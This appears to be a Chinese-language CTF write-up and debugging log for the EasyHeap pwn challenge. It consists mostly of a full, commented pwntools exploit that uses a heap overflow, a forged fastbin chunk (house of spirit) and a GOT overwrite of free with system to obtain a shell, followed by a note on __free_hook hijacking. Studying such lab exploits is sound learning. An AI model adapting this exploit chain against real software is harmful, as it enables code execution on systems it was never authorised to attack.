[ZJCTF 2019]EasyHeap | house of spirit 调试记录
阅读原文时间:2022年04月27日阅读:1

BUUCTF 上的题目,由于部分环境没有复现,解法是非期望的 house of spirit

第一次接触伪造堆的利用方式,exp 用的是 Pwnki 师傅的,本文为调试记录及心得体会。

逆向分析的过程请见超链接,下面是我加了注释后的 exp:

from pwn import *

#p = process('./easyheap')
p = remote('node3.buuoj.cn' ,'27234')
elf = ELF('./easyheap')

context.log_level = 'debug' # 设置 Log 等级

def debug(): # 调试函数 attach to gdb
    gdb.attach(p)
    pause()

def create(size,content): # 新建 heap,地址保存在 heaparray
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap:')
    p.send(str(content))

def edit(index,size,content): # 修改 heap 内容,存在堆溢出点
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap : ')
    p.send(str(content))

def free(index): # 释放 heap
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))

free_got = elf.got['free']

create(0x68,'aaaa') # chunk 0
create(0x68,'bbbb') # chunk 1
create(0x68,'cccc') # chunk 2
free(2) # 释放 heap2 让其进入 fastbin

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
# 修改 heap1 内容为 '/bin/sh\x00', 以及堆溢出 heap2(freed) 修改其 fd 指针
# 因为最后释放的是 heap1,利用 '__free_hook'(system) Getshell
# 为什么是 0x6020b0 - 3? 这是调试出来的
# FakeChunk 若以这里为 prev_size,则 size 正好是一个 0x000000000000007f
# 可以绕过 malloc_chunk 的合法性验证 (new_chunk 的 size 位要与 bin 链表 size 一致)
# 这样就伪造出了一个 chunk

create(0x68,'aaaa') # chunk 2 (从 fastbin 里取出的)

create(0x68,'c') # chunk 3 / idx = 0 (Fake)

payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
# 修改 heap3 (Fake)
# 作用是把 heaparray[0] 的地址 (原先记录的是 chunk 3 的地址) 覆写成 free_got 地址
# 这就是要在 heaparry 附近构造 Fakeheap 的原因
# 确定具体的偏移量需要动态调试 

payload = p64(elf.plt['system'])
edit(0,len(payload),payload)
# free_got 地址的作用在这里体现了
# 由于 edit() 的目标是 heaparry[] 里面的地址
# 那么本次操作将修改 free_got 为 system_plt 的地址

free(1)
# 当释放 chunk1 (内容为 '/bin/sh\0x00') 的时候
# 把 chunk1 当参数传入 free() 中执行,由于 free() 地址已经被修改成 system()
# 最后程序执行的就是 system(chunk1's content) 即 system('/bin/sh\0x00'), 成功 Getshell

p.interactive()

以下内容与本题无关!!

__free_hook

void __libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }

上面的代码对是 free() 函数的一部分,可以看出程序先把全局变量 __free_hook 赋给了局部变量 hook ,然后对 hook 是否为 NULL 进行判断,如果不为空,则执行 hook ,第一个参数就是 chunk 的内容部分。

一般的情况下 __free_hook 是为 NULL 的,所以是不会执行的,但是如果有人恶意修改 __free_hook 的话,就会造成 __free_hook 劫持。

总结

用了一个下午的时间,感觉自己调试技巧又熟练了一点,学习到了一种 Fakeheap 的利用手法,但是本题难度不太大,还需要更多题目来巩固。

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器